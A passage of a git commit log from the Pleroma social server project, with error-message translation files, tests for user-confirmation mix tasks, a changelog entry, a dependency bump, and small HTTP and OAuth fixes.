elixir-format +msgid "Kocaptcha service unavailable" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:112 +#, elixir-format +msgid "Missing parameters" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:547 +#, elixir-format +msgid "No such conversation" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:388 +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:414 lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:456 +#, elixir-format +msgid "No such permission_group" +msgstr "" + +#: lib/pleroma/plugs/uploaded_media.ex:84 +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:486 lib/pleroma/web/admin_api/controllers/fallback_controller.ex:11 +#: lib/pleroma/web/feed/user_controller.ex:71 lib/pleroma/web/ostatus/ostatus_controller.ex:143 +#, elixir-format +msgid "Not found" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:331 +#, elixir-format +msgid "Poll's author can't vote" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:20 +#: lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:37 lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:49 +#: lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:50 lib/pleroma/web/mastodon_api/controllers/status_controller.ex:306 +#: lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex:71 +#, elixir-format +msgid "Record not found" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/fallback_controller.ex:35 +#: lib/pleroma/web/feed/user_controller.ex:77 lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:36 +#: lib/pleroma/web/ostatus/ostatus_controller.ex:149 +#, elixir-format +msgid "Something went wrong" +msgstr "" + +#: lib/pleroma/web/common_api/activity_draft.ex:107 +#, elixir-format +msgid "The message visibility must be direct" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:573 +#, elixir-format +msgid "The status is over the character limit" +msgstr "" + +#: lib/pleroma/plugs/ensure_public_or_authenticated_plug.ex:31 +#, elixir-format +msgid "This resource requires authentication." +msgstr "" + +#: lib/pleroma/plugs/rate_limiter/rate_limiter.ex:206 +#, elixir-format +msgid "Throttled" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:356 +#, elixir-format +msgid "Too many choices" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:443 +#, elixir-format +msgid "Unhandled activity type" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:485 +#, elixir-format +msgid "You can't revoke your own admin status." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:221 +#: lib/pleroma/web/oauth/oauth_controller.ex:308 +#, elixir-format +msgid "Your account is currently disabled" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:183 +#: lib/pleroma/web/oauth/oauth_controller.ex:331 +#, elixir-format +msgid "Your login is missing a confirmed e-mail address" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:390 +#, elixir-format +msgid "can't read inbox of %{nickname} as %{as_nickname}" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:473 +#, elixir-format +msgid "can't update outbox of %{nickname} as %{as_nickname}" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:471 +#, elixir-format +msgid "conversation is already muted" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:314 +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:492 +#, elixir-format +msgid "error" +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex:32 +#, elixir-format +msgid "mascots can only be images" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:62 +#, elixir-format +msgid "not found" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:394 +#, elixir-format +msgid "Bad OAuth request." +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:115 +#, elixir-format +msgid "CAPTCHA already used" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:112 +#, elixir-format +msgid "CAPTCHA expired" +msgstr "" + +#: lib/pleroma/plugs/uploaded_media.ex:57 +#, elixir-format +msgid "Failed" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:410 +#, elixir-format +msgid "Failed to authenticate: %{message}." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:441 +#, elixir-format +msgid "Failed to set up user account." +msgstr "" + +#: lib/pleroma/plugs/oauth_scopes_plug.ex:38 +#, elixir-format +msgid "Insufficient permissions: %{permissions}." +msgstr "" + +#: lib/pleroma/plugs/uploaded_media.ex:104 +#, elixir-format +msgid "Internal Error" +msgstr "" + +#: lib/pleroma/web/oauth/fallback_controller.ex:22 +#: lib/pleroma/web/oauth/fallback_controller.ex:29 +#, elixir-format +msgid "Invalid Username/Password" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:118 +#, elixir-format +msgid "Invalid answer data" +msgstr "" + +#: lib/pleroma/web/nodeinfo/nodeinfo_controller.ex:33 +#, elixir-format +msgid "Nodeinfo schema version not handled" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:172 +#, elixir-format +msgid "This action is outside the authorized scopes" +msgstr "" + +#: lib/pleroma/web/oauth/fallback_controller.ex:14 +#, elixir-format +msgid "Unknown error, please check the details and try again." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:119 +#: lib/pleroma/web/oauth/oauth_controller.ex:158 +#, elixir-format +msgid "Unlisted redirect_uri." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:390 +#, elixir-format +msgid "Unsupported OAuth provider: %{provider}." +msgstr "" + +#: lib/pleroma/uploaders/uploader.ex:72 +#, elixir-format +msgid "Uploader callback timeout" +msgstr "" + +#: lib/pleroma/web/uploader_controller.ex:23 +#, elixir-format +msgid "bad request" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:103 +#, elixir-format +msgid "CAPTCHA Error" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:290 +#, elixir-format +msgid "Could not add reaction emoji" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:301 +#, elixir-format +msgid "Could not remove reaction emoji" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:129 +#, elixir-format +msgid "Invalid CAPTCHA (Missing parameter: %{name})" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/list_controller.ex:92 +#, elixir-format +msgid "List not found" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:123 +#, elixir-format +msgid "Missing parameter: %{name}" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:210 +#: lib/pleroma/web/oauth/oauth_controller.ex:321 +#, elixir-format +msgid "Password reset is required" +msgstr "" + +#: lib/pleroma/tests/auth_test_controller.ex:9 +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:6 lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/config_controller.ex:6 lib/pleroma/web/admin_api/controllers/fallback_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/invite_controller.ex:6 lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/oauth_app_controller.ex:6 lib/pleroma/web/admin_api/controllers/relay_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/report_controller.ex:6 lib/pleroma/web/admin_api/controllers/status_controller.ex:6 +#: lib/pleroma/web/controller_helper.ex:6 lib/pleroma/web/embed_controller.ex:6 +#: lib/pleroma/web/fallback_redirect_controller.ex:6 lib/pleroma/web/feed/tag_controller.ex:6 +#: lib/pleroma/web/feed/user_controller.ex:6 lib/pleroma/web/mailer/subscription_controller.ex:2 +#: lib/pleroma/web/masto_fe_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/account_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/app_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/auth_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/filter_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/instance_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/list_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/marker_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex:14 +#: lib/pleroma/web/mastodon_api/controllers/media_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/notification_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/report_controller.ex:8 +#: lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/search_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/status_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex:7 +#: lib/pleroma/web/mastodon_api/controllers/suggestion_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex:6 +#: lib/pleroma/web/media_proxy/media_proxy_controller.ex:6 lib/pleroma/web/mongooseim/mongoose_im_controller.ex:6 +#: lib/pleroma/web/nodeinfo/nodeinfo_controller.ex:6 lib/pleroma/web/oauth/fallback_controller.ex:6 +#: lib/pleroma/web/oauth/mfa_controller.ex:10 lib/pleroma/web/oauth/oauth_controller.ex:6 +#: lib/pleroma/web/ostatus/ostatus_controller.ex:6 lib/pleroma/web/pleroma_api/controllers/account_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/chat_controller.ex:5 lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:2 lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex:6 lib/pleroma/web/pleroma_api/controllers/notification_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex:7 lib/pleroma/web/static_fe/static_fe_controller.ex:6 +#: lib/pleroma/web/twitter_api/controllers/password_controller.ex:10 lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex:6 +#: lib/pleroma/web/twitter_api/controllers/util_controller.ex:6 lib/pleroma/web/twitter_api/twitter_api_controller.ex:6 +#: lib/pleroma/web/uploader_controller.ex:6 lib/pleroma/web/web_finger/web_finger_controller.ex:6 +#, elixir-format +msgid "Security violation: OAuth scopes check was neither handled nor explicitly skipped." +msgstr "" + +#: lib/pleroma/plugs/ensure_authenticated_plug.ex:28 +#, elixir-format +msgid "Two-factor authentication enabled, you must use a access token." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:210 +#, elixir-format +msgid "Unexpected error occurred while adding file to pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:138 +#, elixir-format +msgid "Unexpected error occurred while creating pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:278 +#, elixir-format +msgid "Unexpected error occurred while removing file from pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:250 +#, elixir-format +msgid "Unexpected error occurred while updating file in pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:179 +#, elixir-format +msgid "Unexpected error occurred while updating pack metadata." +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex:61 +#, elixir-format +msgid "Web push subscription is disabled on this Pleroma instance" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:451 +#, elixir-format +msgid "You can't revoke your own admin/moderator status." +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex:126 +#, elixir-format +msgid "authorization required for timeline view" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:24 +#, elixir-format +msgid "Access denied" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:282 +#, elixir-format +msgid "This API requires an authenticated user" +msgstr "" + +#: lib/pleroma/plugs/user_is_admin_plug.ex:21 +#, elixir-format +msgid "User is not an admin." +msgstr "" -- cgit v1.2.3 From 6ec1a9ded164df2872ad4ec99ca673e7618c9253 Mon Sep 17 00:00:00 2001 From: tarteka Date: Wed, 9 Sep 2020 09:52:08 +0000 Subject: Translated using Weblate (Spanish) Currently translated at 9.4% (10 of 106 strings) Translation: Pleroma/Pleroma backend Translate-URL: https://translate.pleroma.social/projects/pleroma/pleroma/es/ --- priv/gettext/es/LC_MESSAGES/errors.po | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/priv/gettext/es/LC_MESSAGES/errors.po b/priv/gettext/es/LC_MESSAGES/errors.po index 4b0972e88..ba75936a9 100644 --- a/priv/gettext/es/LC_MESSAGES/errors.po +++ b/priv/gettext/es/LC_MESSAGES/errors.po @@ -3,14 +3,16 @@ msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-09-09 09:49+0000\n" -"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" -"Last-Translator: Automatically generated\n" -"Language-Team: none\n" +"PO-Revision-Date: 2020-09-09 10:52+0000\n" +"Last-Translator: tarteka \n" +"Language-Team: Spanish \n" "Language: es\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" -"X-Generator: Translate Toolkit 2.5.1\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" +"X-Generator: Weblate 4.0.4\n" ## This file is a PO Template file. ## @@ -23,44 +25,44 @@ msgstr "" ## effect: edit them in PO (`.po`) files instead. ## From Ecto.Changeset.cast/4 msgid "can't be blank" -msgstr "" +msgstr "no puede estar en blanco" ## From Ecto.Changeset.unique_constraint/3 msgid "has already been taken" -msgstr "" +msgstr "ya está en uso" ## From Ecto.Changeset.put_change/3 msgid "is invalid" -msgstr "" +msgstr "es inválido" ## From Ecto.Changeset.validate_format/3 msgid "has invalid format" -msgstr "" +msgstr "el formato no es válido" ## From Ecto.Changeset.validate_subset/3 msgid "has an invalid entry" -msgstr "" +msgstr "tiene una entrada inválida" ## From Ecto.Changeset.validate_exclusion/3 msgid "is reserved" -msgstr "" +msgstr "está reservado" ## From Ecto.Changeset.validate_confirmation/3 msgid "does not match confirmation" -msgstr "" +msgstr "la confirmación no coincide" ## From Ecto.Changeset.no_assoc_constraint/3 msgid "is still associated with this entry" -msgstr "" +msgstr "todavía está asociado con esta entrada" msgid "are still associated with this entry" -msgstr "" +msgstr "todavía están asociados con esta entrada" ## From Ecto.Changeset.validate_length/3 msgid "should be %{count} character(s)" msgid_plural "should be %{count} character(s)" -msgstr[0] "" -msgstr[1] "" +msgstr[0] "debe tener %{count} carácter" +msgstr[1] "debe tener %{count} caracteres" msgid "should have %{count} item(s)" msgid_plural "should have %{count} item(s)" -- cgit v1.2.3 From 6c79a60649c8d6b3ef9ce0fbbb4792410fe585bd Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 17:59:25 -0500 Subject: Add test for pleroma.user set --confirmed Order now matters because of testing shell_info --- test/tasks/user_test.exs | 33 +++++++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 8 deletions(-) diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index ce43a9cc7..ef77fdc9c 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -225,47 +225,64 @@ test "no user to deactivate" do test "All statuses set" do user = insert(:user) - Mix.Tasks.Pleroma.User.run(["set", user.nickname, "--moderator", "--admin", "--locked"]) + Mix.Tasks.Pleroma.User.run([ + "set", + user.nickname, + "--admin", + "--confirmed", + "--locked", + "--moderator" + ]) assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* true/ + assert message =~ ~r/Admin status .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* false/ assert_received {:mix_shell, :info, [message]} assert message =~ ~r/Locked status .* true/ assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* true/ + assert message =~ ~r/Moderator status .* true/ user = User.get_cached_by_nickname(user.nickname) assert user.is_moderator assert user.locked assert user.is_admin + refute user.confirmation_pending end test "All statuses unset" do - user = insert(:user, locked: true, is_moderator: true, is_admin: true) + user = + insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) Mix.Tasks.Pleroma.User.run([ "set", user.nickname, - "--no-moderator", "--no-admin", - "--no-locked" + "--no-confirmed", + "--no-locked", + "--no-moderator" ]) assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* false/ + assert message =~ ~r/Admin status .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* true/ assert_received {:mix_shell, :info, [message]} assert message =~ ~r/Locked status .* false/ assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* false/ + assert message =~ ~r/Moderator status .* false/ user = User.get_cached_by_nickname(user.nickname) refute user.is_moderator refute user.locked refute user.is_admin + assert user.confirmation_pending end test "no user to set status" do -- cgit v1.2.3 From b900c06d4e2bc5d607af542e2c9cf9eacade376b Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 9 Sep 2020 09:02:07 -0500 Subject: Add tests for the bulk confirm/unconfirm tasks --- test/tasks/user_test.exs | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index ef77fdc9c..b8c423c48 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -571,4 +571,44 @@ test "it prints an error message when user is not exist" do assert message =~ "Could not change user tags" end end + + describe "bulk confirm and unconfirm" do + test "confirm all" do + user1 = insert(:user, confirmation_pending: true) + user2 = insert(:user, confirmation_pending: true) + + assert user1.confirmation_pending + assert user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["confirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + + refute user1.confirmation_pending + refute user2.confirmation_pending + end + + test "unconfirm all" do + user1 = insert(:user, confirmation_pending: false) + user2 = insert(:user, confirmation_pending: false) + admin = insert(:user, is_admin: true, confirmation_pending: false) + mod = insert(:user, is_moderator: true, confirmation_pending: false) + + refute user1.confirmation_pending + refute user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["unconfirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + admin = User.get_cached_by_nickname(admin.nickname) + mod = User.get_cached_by_nickname(mod.nickname) + + assert user1.confirmation_pending + assert user2.confirmation_pending + refute admin.confirmation_pending + refute mod.confirmation_pending + end + end end -- cgit v1.2.3 From 34d7e864db8f9cc7fb73ce2fef8466ce8e09ed85 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 9 Sep 2020 09:10:44 -0500 Subject: New mix tasks for controlling user confirmation status and sending confirmation mails --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 19b2596cc..47cab144b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## Unreleased +### Added +- Mix tasks for controlling user account confirmation status in bulk (`mix pleroma.user confirm_all` and `mix pleroma.user unconfirm_all`) +- Mix task for sending confirmation emails to all unconfirmed users (`mix pleroma.email send_confirmation_mails`) + ### Changed - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. -- cgit v1.2.3 From 0c1d24318565ec5bca0dfbe749f09d7acc9f7e42 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 9 Sep 2020 18:34:07 +0300 Subject: bump concurrent_limiter Should fix gun deadlocks --- mix.exs | 2 +- mix.lock | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/mix.exs b/mix.exs index 9499aab2d..18f748672 100644 --- a/mix.exs +++ b/mix.exs @@ -180,7 +180,7 @@ defp deps do {:flake_id, "~> 0.1.0"}, {:concurrent_limiter, git: "https://git.pleroma.social/pleroma/elixir-libraries/concurrent_limiter.git", - ref: "55e92f84b4ed531bd487952a71040a9c69dc2807"}, + ref: "d81be41024569330f296fc472e24198d7499ba78"}, {:remote_ip, git: "https://git.pleroma.social/pleroma/remote_ip.git", ref: "b647d0deecaa3acb140854fe4bda5b7e1dc6d1c8"}, diff --git a/mix.lock b/mix.lock index c4f9cd28c..a28c47017 100644 --- a/mix.lock +++ b/mix.lock @@ -14,7 +14,7 @@ "certifi": {:hex, :certifi, "2.5.1", "867ce347f7c7d78563450a18a6a28a8090331e77fa02380b4a21962a65d36ee5", [:rebar3], [{:parse_trans, "~>3.3", [hex: :parse_trans, repo: "hexpm", optional: false]}], "hexpm", "805abd97539caf89ec6d4732c91e62ba9da0cda51ac462380bbd28ee697a8c42"}, "combine": {:hex, :combine, "0.10.0", "eff8224eeb56498a2af13011d142c5e7997a80c8f5b97c499f84c841032e429f", [:mix], [], "hexpm", "1b1dbc1790073076580d0d1d64e42eae2366583e7aecd455d1215b0d16f2451b"}, "comeonin": {:hex, :comeonin, "5.3.1", "7fe612b739c78c9c1a75186ef2d322ce4d25032d119823269d0aa1e2f1e20025", [:mix], [], "hexpm", "d6222483060c17f0977fad1b7401ef0c5863c985a64352755f366aee3799c245"}, - "concurrent_limiter": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/concurrent_limiter.git", "55e92f84b4ed531bd487952a71040a9c69dc2807", [ref: "55e92f84b4ed531bd487952a71040a9c69dc2807"]}, + "concurrent_limiter": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/concurrent_limiter.git", "d81be41024569330f296fc472e24198d7499ba78", [ref: "d81be41024569330f296fc472e24198d7499ba78"]}, "connection": {:hex, :connection, "1.0.4", "a1cae72211f0eef17705aaededacac3eb30e6625b04a6117c1b2db6ace7d5976", [:mix], [], "hexpm", "4a0850c9be22a43af9920a71ab17c051f5f7d45c209e40269a1938832510e4d9"}, "cors_plug": {:hex, :cors_plug, "2.0.2", "2b46083af45e4bc79632bd951550509395935d3e7973275b2b743bd63cc942ce", [:mix], [{:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "f0d0e13f71c51fd4ef8b2c7e051388e4dfb267522a83a22392c856de7e46465f"}, "cowboy": {:hex, :cowboy, "2.8.0", "f3dc62e35797ecd9ac1b50db74611193c29815401e53bac9a5c0577bd7bc667d", [:rebar3], [{:cowlib, "~> 2.9.1", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, "~> 1.7.1", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm", "4643e4fba74ac96d4d152c75803de6fad0b3fa5df354c71afdd6cbeeb15fac8a"}, -- cgit v1.2.3 From 68a74d66596f0e35f0e080de25e4679d2c8b1b76 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 9 Sep 2020 19:30:42 +0300 Subject: [#2497] Added missing alias, removed legacy `:adapter` option specification for HTTP.get/_. --- lib/pleroma/helpers/media_helper.ex | 4 ++-- lib/pleroma/instances/instance.ex | 2 +- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 2 +- test/web/mastodon_api/views/account_view_test.exs | 1 + 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index a1205e10d..d834b4a07 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -14,7 +14,7 @@ defmodule Pleroma.Helpers.MediaHelper do def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), {:ok, args} <- prepare_image_resize_args(options), - {:ok, env} <- HTTP.get(url, [], adapter: [pool: :media]), + {:ok, env} <- HTTP.get(url, [], pool: :media), {:ok, fifo_path} <- mkfifo() do args = List.flatten([fifo_path, args]) run_fifo(fifo_path, env, executable, args) @@ -62,7 +62,7 @@ defp prepare_image_resize_args(_), do: {:error, :missing_options} def video_framegrab(url) do with executable when is_binary(executable) <- System.find_executable("ffmpeg"), - {:ok, env} <- HTTP.get(url, [], adapter: [pool: :media]), + {:ok, env} <- HTTP.get(url, [], pool: :media), {:ok, fifo_path} <- mkfifo(), args = [ "-y", diff --git a/lib/pleroma/instances/instance.ex b/lib/pleroma/instances/instance.ex index 8bf53c090..4fe4b198d 100644 --- a/lib/pleroma/instances/instance.ex +++ b/lib/pleroma/instances/instance.ex @@ -157,7 +157,7 @@ defp scrape_favicon(%URI{} = instance_uri) do try do with {:ok, %Tesla.Env{body: html}} <- Pleroma.HTTP.get(to_string(instance_uri), [{"accept", "text/html"}], - adapter: [pool: :media] + pool: :media ), favicon_rel <- html diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 89f4a23bd..acb581459 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -51,7 +51,7 @@ defp handle_preview(conn, url) do media_proxy_url = MediaProxy.url(url) with {:ok, %{status: status} = head_response} when status in 200..299 <- - Pleroma.HTTP.request("head", media_proxy_url, [], [], adapter: [pool: :media]) do + Pleroma.HTTP.request("head", media_proxy_url, [], [], pool: :media) do content_type = Tesla.get_header(head_response, "content-type") handle_preview(content_type, conn, media_proxy_url) else diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 5c5aa6cee..793b44fca 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -5,6 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do use Pleroma.DataCase + alias Pleroma.Config alias Pleroma.User alias Pleroma.UserRelationship alias Pleroma.Web.CommonAPI -- cgit v1.2.3 From b4860c57a63b48ded8eaa37b9f40cc0851c78882 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 9 Sep 2020 19:43:36 +0300 Subject: [#2497] Formatting fix. --- lib/pleroma/instances/instance.ex | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/pleroma/instances/instance.ex b/lib/pleroma/instances/instance.ex index 4fe4b198d..ad7764f05 100644 --- a/lib/pleroma/instances/instance.ex +++ b/lib/pleroma/instances/instance.ex @@ -156,9 +156,7 @@ def get_or_update_favicon(%URI{host: host} = instance_uri) do defp scrape_favicon(%URI{} = instance_uri) do try do with {:ok, %Tesla.Env{body: html}} <- - Pleroma.HTTP.get(to_string(instance_uri), [{"accept", "text/html"}], - pool: :media - ), + Pleroma.HTTP.get(to_string(instance_uri), [{"accept", "text/html"}], pool: :media), favicon_rel <- html |> Floki.parse_document!() -- cgit v1.2.3 From cad69669fc692da360929a5961e96550de1f1fe1 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 9 Sep 2020 22:44:38 +0300 Subject: [#2130] Fixed OAuth OOB authentication for users with enabled MFA. --- lib/pleroma/web/oauth/oauth_controller.ex | 5 ++++- .../web/templates/o_auth/o_auth/oob_authorization_created.html.eex | 2 +- lib/pleroma/web/templates/o_auth/o_auth/oob_token_exists.html.eex | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex index dd00600ea..06b116368 100644 --- a/lib/pleroma/web/oauth/oauth_controller.ex +++ b/lib/pleroma/web/oauth/oauth_controller.ex @@ -145,7 +145,10 @@ def create_authorization( def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ "authorization" => %{"redirect_uri" => @oob_token_redirect_uri} }) do - render(conn, "oob_authorization_created.html", %{auth: auth}) + # Enforcing the view to reuse the template when calling from other controllers + conn + |> put_view(OAuthView) + |> render("oob_authorization_created.html", %{auth: auth}) end def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ diff --git a/lib/pleroma/web/templates/o_auth/o_auth/oob_authorization_created.html.eex b/lib/pleroma/web/templates/o_auth/o_auth/oob_authorization_created.html.eex index 8443d906b..ffabe29a6 100644 --- a/lib/pleroma/web/templates/o_auth/o_auth/oob_authorization_created.html.eex +++ b/lib/pleroma/web/templates/o_auth/o_auth/oob_authorization_created.html.eex @@ -1,2 +1,2 @@

Successfully authorized

-

Token code is <%= @auth.token %>

+

Token code is
<%= @auth.token %>

diff --git a/lib/pleroma/web/templates/o_auth/o_auth/oob_token_exists.html.eex b/lib/pleroma/web/templates/o_auth/o_auth/oob_token_exists.html.eex index 961aad976..82785c4b9 100644 --- a/lib/pleroma/web/templates/o_auth/o_auth/oob_token_exists.html.eex +++ b/lib/pleroma/web/templates/o_auth/o_auth/oob_token_exists.html.eex @@ -1,2 +1,2 @@

Authorization exists

-

Access token is <%= @token.token %>

+

Access token is
<%= @token.token %>

